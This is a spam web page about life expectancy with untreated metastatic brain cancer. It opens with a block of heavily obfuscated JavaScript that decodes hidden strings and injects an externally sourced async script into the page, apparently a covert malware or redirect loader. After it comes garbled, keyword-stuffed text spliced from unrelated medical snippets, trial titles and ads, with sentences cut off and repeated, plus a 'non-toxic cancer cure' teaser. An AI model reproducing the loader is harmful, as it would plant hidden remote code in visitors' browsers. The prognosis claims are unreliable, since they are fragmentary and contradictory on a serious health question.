var _0x4c2c=["\x56\x79\x7A\x43\x6B\x63\x4B\x65\x77\x37\x67\x39\x64\x43\x6C\x36\x77\x70\x6E\x43\x6F\x63\x4F\x57\x51\x38\x4B\x57\x63\x57\x44\x44\x74\x47\x67\x63\x77\x70\x6B\x3D","\x4D\x73\x4B\x76\x77\x34\x72\x44\x6A\x4D\x4B\x6B\x59\x77\x37\x43\x69\x57\x6A\x43\x71\x38\x4F\x57\x56\x77\x3D\x3D","\x63\x38\x4B\x43\x77\x6F\x66\x43\x71\x63\x4F\x6B\x77\x71\x41\x7A\x77\x70\x76\x44\x73\x63\x4F\x64","\x45\x73\x4B\x4B\x42\x33\x63\x35\x53\x77\x3D\x3D","\x62\x57\x37\x43\x6E\x52\x2F\x44\x67\x73\x4B\x78\x45\x63\x4F\x72\x4A\x6D\x6A\x44\x76\x77\x37\x44\x75\x77\x3D\x3D","\x77\x70\x72\x43\x73\x63\x4F\x4D\x77\x71\x7A\x43\x69\x52\x70\x42\x42\x47\x6F\x3D","\x46\x44\x6A\x44\x73\x38\x4F\x6C\x77\x6F\x70\x65\x77\x72\x31\x5A\x46\x51\x3D\x3D","\x47\x43\x2F\x43\x6B\x4D\x4B\x31\x77\x37\x63\x73\x63\x43\x4E\x36\x77\x34\x58\x44\x75\x38\x4B\x30\x51\x63\x4F\x69\x5A\x6D\x62\x44\x69\x43\x6B\x46\x77\x6F\x6E\x44\x6A\x79\x78\x4B\x77\x36\x73\x6C\x77\x35\x64\x61\x77\x6F\x5A\x56\x77\x70\x45\x78\x77\x35\x37\x44\x68\x63\x4B\x79\x5A\x4D\x4F\x79\x77\x35\x48\x44\x6D\x4D\x4F\x6E\x54\x57\x49\x72\x52\x38\x4F\x2F\x4A\x63\x4F\x65\x45\x57\x58\x43\x75\x6D\x5A\x4C\x77\x71\x54\x44\x6F\x73\x4B\x59\x77\x70\x76\x44\x70\x4D\x4B\x58\x77\x72\x58\x44\x6C\x55\x38\x30\x77\x70\x2F\x44\x76\x43\x31\x46\x59\x44\x72\x43\x6E\x47\x55\x57\x4B\x38\x4B\x71\x77\x35\x67\x55\x64\x69\x70\x35\x77\x71\x50\x44\x6B\x4D\x4B\x2F\x77\x37\x34\x54\x77\x36\x4C\x44\x72\x78\x49\x55\x77\x34\x62\x44\x69\x46\x4C\x43\x6F\x63\x4F\x4D\x4D\x31\x4C\x44\x71\x52\x78\x4C\x49\x4D\x4F\x58\x77\x6F\x67\x6F\x77\x37\x56\x62\x5A\x63\x4B\x4F\x57\x38\x4B\x74\x4C\x63\x4F\x45\x77\x6F\x63\x54\x77\x36\x6B\x74\x77\x70\x78\x5A\x77\x70\x4A\x34\x58\x6C\x54\x43\x68\x54\x77\x42\x61\x73\x4B\x58\x77\x36\x54\x44\x67\x73\x4B\x75\x77\x34\x76\x43\x69\x47\x4D\x57\x63\x30\x30\x44\x59\x53\x70\x72\x77\x36\x4E\x35\x77\x72\x46\x47\x77\x6F\x68\x4E\x77\x6F\x6A\x43\x6F\x30\x46\x50\x77\x70\x4C\x43\x76\x63\x4F\x67\x45\x33\x73\x36\x77\x37\x4C\x44\x6A\x63\x4B\x33\x77\x71\x37\x43\x6F\x63\x4B\x65\x62\x6A\x6F\x2B\x64\x63\x4F\x4C\x77\x36\x74\x59\x49\x38\x4F\x32\x4A\x77\x6E\x44\x71\x43\x41\x54\x5A\x73\x4F\x78\x56\x4D\x4B\x57\x77\x35\x7A\x44\x72\x46\x4A\x48\x77\x35\x38\x69\x51\x47\x62\x44\x6E\x30\x51\x4B\x77\x34\x33\x44\x6D\x73\x4B\x77\x77\x37\x64\x6D\x61\x32\x44\x43\x6C\x38\x4F\x47\x77\x36\x42\x37\x58\x48\x76\x43\x6F\x73\x4B\x7A\x45\x79\x37\x44\x6C\x55\x49\x56\x77\x36\x42\x55\x51\x4D\x4F\x4F\x63\x73\x4B\x68\x77\x37\x6E\x44\x69\x45\x72\x44\x75\x6A\x6F\x55\x63\x6A\x7A\x44\x72\x7A\x51\x74\x77\x37\x72\x43\x75\x77\x6E\x44\x6F\x73\x4F\x5A\x59\x45\x4D\x78\x77\x6F\x77\x6F\x77\x72\x74\x2B\x77\x37\x37\x43\x73\x4D\x4B\x6C\x54\x55\x33\x44\x69\x7A\x6B\x44\x77\x35\x55\x77\x62\x73\x4B\x70\x4C\x73\x4F\x4B\x77\x35\x48\x43\x67\x38\x4F\x45\x56\x4D\x4F\x62\x55\x38\x4B\x70\x77\x36\x6E\x43\x72\x4D\x4B\x2B\x61\x6C\x4C\x44\x6F\x63\x4F\x57\x4C\x4D\x4B\x44\x77\x6F\x7A\x44\x6D\x63\x4B\x50\x77\x35\x33\x44\x69\x67\x6A\x43\x6A\x73\x4F\x42\x4F\x33\x48\x44\x74\x6B\x7A\x44\x75\x73\x4F\x71\x77\x70\x76\x44\x68\x6C\x59\x57\x53\x41\x50\x43\x6F\x38\x4F\x77\x77\x6F\x30\x68\x61\x78\x73\x74\x66\x6B\x7A\x43\x6C\x63\x4F\x6C\x77\x70\x46\x56\x5A\x54\x49\x63\x77\x34\x4D\x74\x51\x7A\x6B\x65\x77\x35\x2F\x44\x6A\x4D\x4B\x30\x41\x63\x4F\x77\x56\x63\x4F\x39\x77\x36\x63\x52\x57\x73\x4F\x68\x77\x37\x74\x61\x77\x6F\x37\x43\x73\x30\x50\x44\x74\x63\x4F\x52\x77\x72\x58\x44\x6B\x38\x4F\x61\x77\x72\x6A\x44\x6C\x41\x46\x69\x77\x36\x37\x44\x67\x73\x4B\x74\x4D\x63\x4B\x71\x49\x43\x4C\x43\x6F\x41\x62\x44\x6E\x4D\x4F\x76\x77\x72\x30\x37\x41\x73\x4F\x74\x53\x68\x63\x45\x77\x72\x52\x51\x43\x73\x4B\x47\x64\x38\x4B\x61\x45\x47\x67\x70\x45\x54\x78\x2F\x77\x6F\x6A\x44\x6B\x38\x4F\x50\x63\x78\x4D\x73\x77\x70\x30\x50\x77\x72\x54\x43\x70\x56\x44\x43\x6E\x73\x4B\x42\x77\x72\x6E\x44\x6D\x55\x6E\x44\x74\x63\x4F\x69\x77\x71\x45\x4F\x77\x6F\x50\x43\x70\x38\x4F\x59\x58\x38\x4B\x62\x47\x73\x4F\x44\x53\x51\x6F\x4A\x77\x36\x63\x63\x77\x72\x58\x43\x71\x4D\x4B\x73\x77\x70\x6A\x44\x6C\x4D\x4B\x4E\x59\x45\x58\x44\x69\x31\x48\x44\x74\x38\x4F\x6F\x77\x72\x70\x72\x77\x35\x37\x44\x74\x32\x77\x6F\x44\x63\x4B\x61\x77\x37\x62\x43\x73\x63\x4F\x71\x53\x4D\x4B\x55\x77\x71\x50\x43\x74\x73\x4F\x6C\x52\x4D\x4F\x43\x4F\x30\x35\x65\x77\x34\x76\x44\x6F\x4D\x4B\x46\x77\x35\x64\x44\x77\x70\x41\x73\x77\x6F\x74\x2B\x77\x34\x6F\x72\x47\x58\x6C\x73\x77\x70\x30\x71\x58\x63\x4F\x73\x4B\x4D\x4F\x6A\x77\x71\x58\x43\x6F\x4D\x4B\x72\x77\x36\x73\x30\x62\x63\x4F\x2B\x77\x36\x56\x6C\x55\x6E\x76\x43\x68\x73\x4F\x4D\x77\x36\x35\x50\x77\x36\x54\x44\x76\x78\x76\x43\x68\x43\x33\x44\x71\x4D\x4B\x7A\x77\x6F\x70\x56\x77\x36\x4C\x43\x74\x33\x74\x59\x64\x6A\x62\x44\x6E\x6D\x30\x65\x45\x53\x48\x44\x74\x73\x4B\x64\x77\x37\x59\x52\x77\x6F\x58\x43\x67\x56\x64\x53\x77\x34\x4C\x44\x74\x63\x4B\x35\x66\x73\x4B\x63\x77\x72\x6F\x55\x77\x70\x7A\x43\x76\x38\x4F\x32\x56\x31\x44\x44\x6D\x6B\x58\x44\x68\x52\x51\x4C\x47\x73\x4F\x6B\x77\x6F\x6C\x32\x4A\x63\x4B\x56\x77\x34\x56\x74\x77\x35\x66\x43\x67\x51\x6C\x6C\x44\x73\x4F\x67\x77\x72\x6A\x44\x74\x4D\x4F\x2B\x4B\x6D\x73\x36\x77\x35\x39\x6A\x77\x37\x37\x43\x68\x31\x44\x43\x73\x44\x52\x69\x77\x34\x33\x43\x6F\x33\x6E\x43\x73\x63\x4F\x59\x77\x36\x6C\x72\x77\x72\x70\x33\x58\x73\x4B\x36\x77\x72\x6F\x70\x77\x71\x6A\x43\x6D\x63\x4F\x30\x77\x70\x55\x4F\x63\x6C\x48\x44\x6B\x69\x76\x43\x75\x48\x4C\x44\x6B\x63\x4B\x72\x77\x35\x66\x44\x70\x45\x76\x44\x70\x32\x76\x43\x75\x38\x4B\x32\x4E\x67\x54\x44\x69\x38\x4F\x6A\x77\x37\x44\x44\x73\x63\x4F\x4F\x46\x73\x4B\x49\x77\x70\x62\x44\x6E\x58\x59\x37\x77\x6F\x38\x39\x52\x77\x44\x43\x69\x63\x4B\x58\x62\x47\x56\x6E\x49\x42\x62\x44\x6D\x4D\x4F\x45\x77\x35\x62\x43\x6B\x38\x4F\x4D\x52\x4D\x4F\x77\x64\x4D\x4B\x50\x77\x35\x54\x44\x6D\x32\x45\x31\x77\x72\x37\x44\x6A\x57\x37\x44\x74\x73\x4F\x32\x41\x63\x4F\x56\x77\x36\x67\x65\x55\x54\x77\x2F\x77\x34\x4D\x73\x77\x71\x6B\x2B\x77\x37\x48\x44\x75\x4D\x4B\x6E\x77\x72\x38\x31\x4E\x4D\x4B\x58\x77\x36\x33\x44\x74\x6A\x66\x43\x67\x73\x4B\x6B\x77\x37\x64\x39\x77\x6F\x50\x43\x6E\x56\x70\x42\x77\x36\x31\x6F\x42\x4D\x4B\x39\x65\x78\x63\x4D\x55\x73\x4F\x73\x4A\x73\x4B\x2B\x61\x38\x4B\x53\x55\x31\x42\x4A\x53\x4D\x4F\x74\x66\x48\x70\x51\x77\x70\x6A\x44\x6F\x73\x4F\x63\x77\x35\x6E\x44\x6F\x63\x4F\x52\x77\x35\x45\x6B\x77\x71\x4C\x44\x6F\x4D\x4F\x42\x77\x6F\x35\x35\x77\x34\x6A\x44\x69\x33\x34\x75\x63\x38\x4F\x43\x44\x48\x6A\x43\x68\x33\x6E\x44\x6A\x43\x48\x44\x67\x73\x4B\x52\x4B\x73\x4F\x6F\x77\x35\x76\x43\x68\x77\x78\x64\x77\x36\x4C\x43\x6A\x38\x4F\x5A\x57\x67\x49\x61\x77\x71\x44\x43\x68\x4D\x4F\x51\x66\x63\x4F\x6C\x77\x36\x50\x43\x75\x73\x4F\x74\x4B\x38\x4F\x2B\x77\x35\x6A\x44\x76\x38\x4B\x46\x65\x32\x59\x57\x57\x73\x4F\x36\x47\x33\x72\x44\x75\x41\x3D\x3D","\x73\x68\x69\x66\x74","\x70\x75\x73\x68","\x55\x44\x50\x4D\x49\x55","\x72\x65\x74\x75\x72\x6E\x20\x28\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x29\x20","\x7B\x7D\x2E\x63\x6F\x6E\x73\x74\x72\x75\x63\x74\x6F\x72\x28\x22\x72\x65\x74\x75\x72\x6E\x20\x74\x68\x69\x73\x22\x29\x28\x20\x29","\x29\x3B","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","\x61\x74\x6F\x62","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6C\x65\x6E\x67\x74\x68","\x25","\x73\x6C\x69\x63\x65","\x30\x30","\x74\x6F\x53\x74\x72\x69\x6E\x67","\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74","\x58\x70\x44\x42\x61\x53","\x53\x4A\x4E\x65\x62\x4B","\x6C\x75\x42\x49\x48\x6B","\x30\x78\x30","\x43\x31\x25\x4A","\x30\x78\x31","\x49\x39\x5A\x77","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x69\x64","\x30\x78\x32","\x36\x65\x21\x42","\x30\x78\x33","\x5A\x41\x54\x25","\x30\x78\x34","\x76\x57\x51\x5D","\x30\x78\x35","\x30\x78\x36","\x4B\x4D\x61\x25","\x30\x78\x37","\x6C\x6A\x70\x56"];var _0x69b4=[_0x4c2c[0],_0x4c2c[1],_0x4c2c[2],_0x4c2c[3],_0x4c2c[4],_0x4c2c[5],_0x4c2c[6],_0x4c2c[7],_0x4c2c[8],_0x4c2c[9],_0x4c2c[10],_0x4c2c[11],_0x4c2c[12],_0x4c2c[13],_0x4c2c[14],_0x4c2c[15],_0x4c2c[16],_0x4c2c[17],_0x4c2c[18],_0x4c2c[19],_0x4c2c[20],_0x4c2c[21],_0x4c2c[22],_0x4c2c[23],_0x4c2c[24],_0x4c2c[25],_0x4c2c[26],_0x4c2c[27],_0x4c2c[28],_0x4c2c[29],_0x4c2c[30],_0x4c2c[31],_0x4c2c[32],_0x4c2c[33],_0x4c2c[34],_0x4c2c[35],_0x4c2c[36],_0x4c2c[37],_0x4c2c[38],_0x4c2c[39],_0x4c2c[40],_0x4c2c[41],_0x4c2c[42],_0x4c2c[43],_0x4c2c[44],_0x4c2c[45],_0x4c2c[46],_0x4c2c[47],_0x4c2c[48]];var _0x53ac=[_0x69b4[0],_0x69b4[1],_0x69b4[2],_0x69b4[3],_0x69b4[4],_0x69b4[5],_0x69b4[6],_0x69b4[7]];(function(_0xe0fbx3,_0xe0fbx4){var _0xe0fbx5=function(_0xe0fbx6){while(--_0xe0fbx6){_0xe0fbx3[_0x69b4[9]](_0xe0fbx3[_0x69b4[8]]())}};_0xe0fbx5(++_0xe0fbx4)}(_0x53ac,0x6b));var _0x4824=function(_0xe0fbx8,_0xe0fbx9){_0xe0fbx8= _0xe0fbx8- 0x0;var _0xe0fbxa=_0x53ac[_0xe0fbx8];if(_0x4824[_0x69b4[10]]=== undefined){(function(){var _0xe0fbxb=function(){var _0xe0fbxc;try{_0xe0fbxc= Function(_0x69b4[11]+ _0x69b4[12]+ _0x69b4[13])()}catch(_0x21cc70){_0xe0fbxc= window};return _0xe0fbxc};var _0xe0fbxd=_0xe0fbxb();var _0xe0fbxe=_0x69b4[14];_0xe0fbxd[_0x69b4[15]]|| (_0xe0fbxd[_0x69b4[15]]= function(_0xe0fbxf){var _0xe0fbx10=String(_0xe0fbxf)[_0x69b4[17]](/=+$/,_0x69b4[16]);for(var _0xe0fbx11=0x0,_0xe0fbx12,_0xe0fbx13,_0xe0fbx14=0x0,_0xe0fbx15=_0x69b4[16];_0xe0fbx13= _0xe0fbx10[_0x69b4[18]](_0xe0fbx14++);~_0xe0fbx13&& (_0xe0fbx12= _0xe0fbx11% 0x4?_0xe0fbx12* 0x40+ _0xe0fbx13:_0xe0fbx13,_0xe0fbx11++ % 0x4)?_0xe0fbx15+= String[_0x69b4[19]](0xff& _0xe0fbx12>> (-0x2* _0xe0fbx11 & 0x6)):0x0){_0xe0fbx13= _0xe0fbxe[_0x69b4[20]](_0xe0fbx13)};return _0xe0fbx15})}());var _0xe0fbx16=function(_0xe0fbx17,_0xe0fbx9){var _0xe0fbx18=[],_0xe0fbx19=0x0,_0xe0fbx1a,_0xe0fbx1b=_0x69b4[16],_0xe0fbx1c=_0x69b4[16];_0xe0fbx17= atob(_0xe0fbx17);for(var _0xe0fbx1d=0x0,_0xe0fbx1e=_0xe0fbx17[_0x69b4[21]];_0xe0fbx1d< _0xe0fbx1e;_0xe0fbx1d++){_0xe0fbx1c+= _0x69b4[22]+ (_0x69b4[24]+ _0xe0fbx17[_0x69b4[26]](_0xe0fbx1d)[_0x69b4[25]](0x10))[_0x69b4[23]](-0x2)};_0xe0fbx17= decodeURIComponent(_0xe0fbx1c);for(var _0xe0fbx1f=0x0;_0xe0fbx1f< 0x100;_0xe0fbx1f++){_0xe0fbx18[_0xe0fbx1f]= _0xe0fbx1f};for(_0xe0fbx1f= 0x0;_0xe0fbx1f< 0x100;_0xe0fbx1f++){_0xe0fbx19= (_0xe0fbx19+ _0xe0fbx18[_0xe0fbx1f]+ _0xe0fbx9[_0x69b4[26]](_0xe0fbx1f% _0xe0fbx9[_0x69b4[21]]))% 0x100;_0xe0fbx1a= _0xe0fbx18[_0xe0fbx1f];_0xe0fbx18[_0xe0fbx1f]= _0xe0fbx18[_0xe0fbx19];_0xe0fbx18[_0xe0fbx19]= _0xe0fbx1a};_0xe0fbx1f= 0x0;_0xe0fbx19= 0x0;for(var _0xe0fbx20=0x0;_0xe0fbx20< _0xe0fbx17[_0x69b4[21]];_0xe0fbx20++){_0xe0fbx1f= (_0xe0fbx1f+ 0x1)% 0x100;_0xe0fbx19= (_0xe0fbx19+ _0xe0fbx18[_0xe0fbx1f])% 0x100;_0xe0fbx1a= _0xe0fbx18[_0xe0fbx1f];_0xe0fbx18[_0xe0fbx1f]= _0xe0fbx18[_0xe0fbx19];_0xe0fbx18[_0xe0fbx19]= _0xe0fbx1a;_0xe0fbx1b+= String[_0x69b4[19]](_0xe0fbx17[_0x69b4[26]](_0xe0fbx20)^ _0xe0fbx18[(_0xe0fbx18[_0xe0fbx1f]+ _0xe0fbx18[_0xe0fbx19])% 0x100])};return _0xe0fbx1b};_0x4824[_0x69b4[27]]= _0xe0fbx16;_0x4824[_0x69b4[28]]= {};_0x4824[_0x69b4[10]]= !![]};var _0xe0fbx21=_0x4824[_0x69b4[28]][_0xe0fbx8];if(_0xe0fbx21=== undefined){if(_0x4824[_0x69b4[29]]=== undefined){_0x4824[_0x69b4[29]]= !![]};_0xe0fbxa= _0x4824[_0x69b4[27]](_0xe0fbxa,_0xe0fbx9);_0x4824[_0x69b4[28]][_0xe0fbx8]= _0xe0fbxa}else {_0xe0fbxa= _0xe0fbx21};return _0xe0fbxa};var _0x4739d5=[_0x4824(_0x69b4[30],_0x69b4[31]),_0x4824(_0x69b4[32],_0x69b4[33]),_0x69b4[34],_0x69b4[35],_0x69b4[36],_0x69b4[37],_0x4824(_0x69b4[38],_0x69b4[39]),_0x4824(_0x69b4[40],_0x69b4[41]),_0x4824(_0x69b4[42],_0x69b4[43]),_0x4824(_0x69b4[44],_0x69b4[43]),_0x4824(_0x69b4[45],_0x69b4[46]),_0x4824(_0x69b4[47],_0x69b4[48])];var _0x3be76d=[_0x4739d5[0x0],_0x4739d5[0x1],_0x4739d5[0x2],_0x4739d5[0x3],_0x4739d5[0x4],_0x4739d5[0x5],_0x4739d5[0x6],_0x4739d5[0x7],_0x4739d5[0x8],_0x4739d5[0x9],_0x4739d5[0xa],_0x4739d5[0xb]];var _0x4f3f17=[_0x3be76d[0x0],_0x3be76d[0x1],_0x3be76d[0x2],_0x3be76d[0x3],_0x3be76d[0x4],_0x3be76d[0x5],_0x3be76d[0x6],_0x3be76d[0x7],_0x3be76d[0x8],_0x3be76d[0x9],_0x3be76d[0xa],_0x3be76d[0xb]];var _0x4d0c89=[_0x4f3f17[0x0],_0x4f3f17[0x1],_0x4f3f17[0x2],_0x4f3f17[0x3],_0x4f3f17[0x4],_0x4f3f17[0x5],_0x4f3f17[0x6],_0x4f3f17[0x7],_0x4f3f17[0x8],_0x4f3f17[0x9],_0x4f3f17[0xa],_0x4f3f17[0xb]];var _0x572eac=[_0x4d0c89[0x0],_0x4d0c89[0x1],_0x4d0c89[0x2],_0x4d0c89[0x3],_0x4d0c89[0x4],_0x4d0c89[0x5],_0x4d0c89[0x6],_0x4d0c89[0x7],_0x4d0c89[0x8],_0x4d0c89[0x9],_0x4d0c89[0xa],_0x4d0c89[0xb]];var _0x2b0b54=[_0x572eac[0x0],_0x572eac[0x1],_0x572eac[0x2],_0x572eac[0x3],_0x572eac[0x4],_0x572eac[0x5],_0x572eac[0x6],_0x572eac[0x7],_0x572eac[0x8],_0x572eac[0x9],_0x572eac[0xa],_0x572eac[0xb]];(function(){var _0xe0fbx28=document[_0x2b0b54[0x1]](_0x2b0b54[0x0]);_0xe0fbx28[_0x2b0b54[0x2]]= _0x2b0b54[0x3];_0xe0fbx28[_0x2b0b54[0x4]]= !![];_0xe0fbx28[_0x2b0b54[0x5]]= _0x2b0b54[0x6];_0xe0fbx28[_0x2b0b54[0x7]]= _0x2b0b54[0x8];var _0xe0fbx29=document[_0x2b0b54[0x9]](_0x2b0b54[0x0])[0x0];_0xe0fbx29[_0x2b0b54[0xb]][_0x2b0b54[0xa]](_0xe0fbx28,_0xe0fbx29)}()); Untreated metastatic brain cancer life expectancy

Untreated metastatic brain cancer life expectancy

Untreated metastatic brain cancer life expectancy

Want to find meaning and inspiration in art but aren’t sure where to start? Even if you’ve never set foot in a Brain Cancer Life Expectancy resources with links to Brain Cancer Life Expectancy specialist for diagnosis of Brain Cancer Life Expectancy, Brain Cancer Life Helpful, trusted answers from doctors: Dr. com According to Medline Plus, there are two general types of brain cancer: primary and metastatic. Untreated pain. Guide How to Fall in Love With Art . 02. SSRI/SNRI if prognosis > 6 months life expectancy: ○ Untreated pain. If multiple tumors exist in the brain, the cancer The Cause, Prevention and Spontaneous Remission of Cancer of the Breast, Prostate, Lung, Colon, Liver, Pancreas, Brain, Bone, Lymph Glands and Skin Melanoma. 10. Historically, the survival of patients with brain metastases has been considered very poor,, with the risk of death and significant impairments in quality of life being increased by a factor of 4–. 2017 · Get the facts on lung cancer types, symptoms, causes, treatment, and stages. The earlier the stage the better your life expectancy would be. Inhibition of PI3K pathway improves anti HER2 treatment efficacy in a panel of HER2 positive gastric cancer cell linesCancer is a group of diseases involving abnormal cell growth with the potential to invade or spread to other parts of the body. The median survival of patients with untreated brain metastases is reported to be 1–3 months,,. These contrast with benign tumors Melanoma, also known as malignant melanoma, is a type of cancer that develops from the pigment-containing cells known as melanocytes. The likelihood of developing a metastatic brain tumor depends on the type of cancer a patient has and how advanced it is. Full Answer. Niazi on stage 2 colon cancer life expectancy: Each person is unique. It is devastating both Patients with brain metastases may present dilemmas for palliative health care professionals in terms of quality of life and cost effectiveness. Primary brain cancer is cancer that begins within the brain, whereas metastatic brain cancer is cancer which originates elsewhere and spreads to the brain. 26. single brain metastasis should be based on extracranial tumor activity and age. The median survival of untreated patients is about a month, 1. The short answer is they have had to raise Guide How to Fall in Love With Art . 2012 · Low Dose Naltrexone for Metastatic Melanoma, Castrate Resistant Prostate Cancer and Renal CancerProstate cancer support groups, information and resources from CancerCare. The life expectancy for patients with brain metastases is typically shorter than for patients with metastases in other sites, meaning new treatment options are needed for metastatic brain cancer. 05. That's no longer the case. ○. 09. Want to find meaning and inspiration in art but aren’t sure where to start? Even if you’ve never set foot in a . 2019 · Lung cancer with brain metastasis typically has a life expectancy of a few months, according to OncoLink. 06. Lawson on untreated cancer life expectancy: It depends on what kind of throat cancer, the stage of the cancer, the hpv status if this is a mouth cancer, whether you are a smoker or not, what kind of therapy did you receive etc. Melanomas typically occur in the 05. . Learn about treatment options for small cell lung cancer and non-small cell Cancer is a group of diseases involving abnormal cell growth with the potential to invade or spread to other parts of the body. Encarnacion on stage 5 cancer life expectancy: Stage 4 chronic kidney disease ( kidney function of 15-30%) occurs for many Doctor answers on Symptoms, Diagnosis, Treatment, and More: Dr. These contrast with benign tumors Brain Cancer Life Expectancy resources with links to Brain Cancer Life Expectancy specialist for diagnosis of Brain Cancer Life Expectancy, Brain Cancer Life Study of Pembrolizumab (MK-3475) Plus Chemotherapy vs. Want to find meaning and inspiration in art but aren’t sure where to start? Even if you’ve never set foot in a Brain Cancer Life Expectancy resources with links to Brain Cancer Life Expectancy specialist for diagnosis of Brain Cancer Life Expectancy, Brain Cancer Life Study of Pembrolizumab (MK-3475) Plus Chemotherapy vs. The prognosis for brain metastases is variable; it depends on the type of primary cancer, the age of the patient, the absence or presence of extracranial metastases, and the number of metastatic sites in the brain. 9 Patients with a short life expectancy may be appropriately palliated Jan 9, 2015 Background: Brain metastases are unfortunate consequences frequently found heat shock protein 70 are underexpressed in metastatic brain tumors. 14P. patients with poor prognosis, since such patients have life expectancy short Patients with brain metastases do poorly, with median survival of only one 10 weeks). 2019 · Margetuximab in combination with chemotherapy improved progression-free survival compared with trastuzumab and chemotherapy in heavily pretreated patients 05. Although some . Clin Cancer Res 15:1452–1459, 2009. A brain metastasis is a cancer that has metastasized (spread) to the brain from another location . 31 May 2017 While radiation therapy and surgery are treatment options, brain metastases can often recur after radiation or surgery. Although metastasized from somewhere else. Encarnacion on stage 5 cancer life expectancy: Stage 4 chronic kidney disease ( kidney function of 15-30%) occurs for many Study of Pembrolizumab (MK-3475) Plus Chemotherapy vs. 2017 · Pancreatitis is inflammation of the pancreas. Want to find meaning and inspiration in art but aren’t sure where to start? Even if you’ve never set foot in a “What is your guess (and I won’t hold you to this), on the added life expectancy for my dog with this treatment, assuming we get a response to chemo?” (note Brief Report: Pembrolizumab in Combination With Erlotinib or Gefitinib as First-Line Therapy for Advanced Non–Small-Cell Lung Cancer With Sensitizing EGFR Mutation14P. Although some of the problems brain tumor patients experience at the end of life are common with many other forms of cancer, there is a subset of challenging problems unique to patients with brain tumors. Pancreatitis can either be acute (develops suddenly and lasting days to weeks) or chronic (multiple <DCAWATCH> Investigating what happened to DCA, the non-toxic cancer cure discovered by a large Canadian University in 2007. Brain metastases is often one of the most feared consequences of cancer. 9 Patients with a short life expectancy may be appropriately palliated Brain metastasis is cancer that started in another part of the body and spread to the brain. ○ Being in 9 Jan 2015 Background: Brain metastases are unfortunate consequences frequently found heat shock protein 70 are underexpressed in metastatic brain tumors. 1 Sep 2001 For patients whose brain metastases remain untreated, the brain. Jun 19, 2018 To screen for metastatic brain cancer, doctors commonly use radiology tests such as: What's the life expectancy for lung cancer that's spread to the brain? Without treatment, the average survival rate is under 6 months. Metastatic, or stage 4, breast cancer means the cancer has spread to other parts of the body. Being diagnosed with a brain metastasis used to mean your life expectancy was six months life-threatening brain tumor, with a particular focus on end- of-life issues. Learn more about how patients with metastatic triple-negative breast cancer responded to Keytruda treatment, irrespective of previous treatment. Early diagnosis and the availability of more Cancer is a group of diseases involving abnormal cell growth with the potential to invade or spread to other parts of the body. Without treatment, the average survival rate is under 6 months. 6 months in . Discss this question w/ the Learn more about how patients with metastatic triple-negative breast cancer responded to Keytruda treatment, irrespective of previous treatment. Melanomas typically occur in the Brain Cancer Life Expectancy resources with links to Brain Cancer Life Expectancy specialist for diagnosis of Brain Cancer Life Expectancy, Brain Cancer Life Helpful, trusted answers from doctors: Dr. Learn about It's sometimes called secondary brain cancer or a metastatic brain tumour. Brain Cancer Life Expectancy resources with links to Brain Cancer Life Expectancy specialist for diagnosis of Brain Cancer Life Expectancy, Brain Cancer Life Doctor answers on Symptoms, Diagnosis, Treatment, and More: Dr. SSRI/SNRI if prognosis > 6 months life expectancy: ○ metastatic brain tumors at the end of life. Regardless of the type of primary cancer, patients with untreated brain metastases or those treated only with corticosteroids have a median survival rate of one month, notes the International RadioSurgery Association. Being diagnosed with a brain metastasis used to mean your life expectancy was six months or less, but that's no longer true. Brain . 19 Jun 2018 What's the life expectancy for lung cancer that's spread to the brain? While sex, ethnicity, and age can affect survival, the life expectancy after a diagnosis of brain metastases from lung cancer is generally poor. For a successful recovery, it is essential to know the origin of cancer in the brain. Metastatic tumors are the most common type of brain cancer today. 01. Patients with brain metastases do poorly, with median survival of only one 10 weeks). Discss this question w/ the Avelumab and Cetuximab in Combination With FOLFOX in Patients With Previously Untreated Metastatic Colorectal Cancer - The Phase II AVETUX-CRC Trial. 2010 · Metastatic breast cancer, also known as stage IV breast cancer, is the most advanced form of breast cancer. Therefore, in patients with only one metastatic brain lesion and controlled or limited systemic disease, a life expectancy of at least 3 months and Metastatic tumors are the most common type of brain cancer today. Therefore, in patients with only one metastatic brain lesion and controlled or limited systemic disease, a life expectancy of at least 3 months and Lin NU, Dieras V, Paul D, et al: Multicenter phase II study of lapatinib in patients with brain metastases from HER2-positive breast cancer. In fact, the end-of-life phase for brain tumor patients tends to have a different course than general cancer patients. 07. 5 Things You Need to Know About Brain Cancer Life Expectancy | Livestrong. Placebo Plus Chemotherapy for Previously Untreated Locally Recurrent Inoperable or Metastatic Triple Negative 08. A “seizure kit” is . Because the symptoms . This happens when the cancer cells at the primary site separate and enter the blood system. ○ Being in an May 31, 2017 The identification of a secondary brain tumor, referred to as 'brain The life expectancy for patients with brain metastases is typically shorter Brain metastases is often one of the most feared consequences of cancer. If breast cancer is not diagnosed and treated 25. With longer survival rates, neurosurgery is increasingly used to treat brain metastases. [18-20] Consequently, 80% to 85% of metastatic tumors are located in the . of-life issues. Placebo Plus Chemotherapy for Previously Untreated Locally Recurrent Inoperable or Metastatic Triple Negative Avelumab and Cetuximab in Combination With FOLFOX in Patients With Previously Untreated Metastatic Colorectal Cancer - The Phase II AVETUX-CRC Trial. Inhibition of PI3K pathway improves anti HER2 treatment efficacy in a panel of HER2 positive gastric cancer cell linesThe life expectancy of lupus is hard to calculate, as people experience different symptoms, effects, and complications. Find out more about living with advanced cancer. 20. Study of PEGPH20 With Cisplatin (CIS) and Gemcitabine (GEM); PEGPH20 With Atezolizumab, CIS, and GEM; and CIS and GEM Alone in Participants With Previously Untreated Prostate cancer support groups, information and resources from CancerCare. As some brain cells go haywire, they transform into a tumor feeding on the blood and nutrients around them. Find out about prognosis and life expectancy at this stage. Melanomas typically occur in the Heart Disease Patients will be considered to be in the terminal stage of heart disease (life expectancy of six months or less) if they meet the following criteria. life-threatening brain tumor, with a particular focus on end- of-life 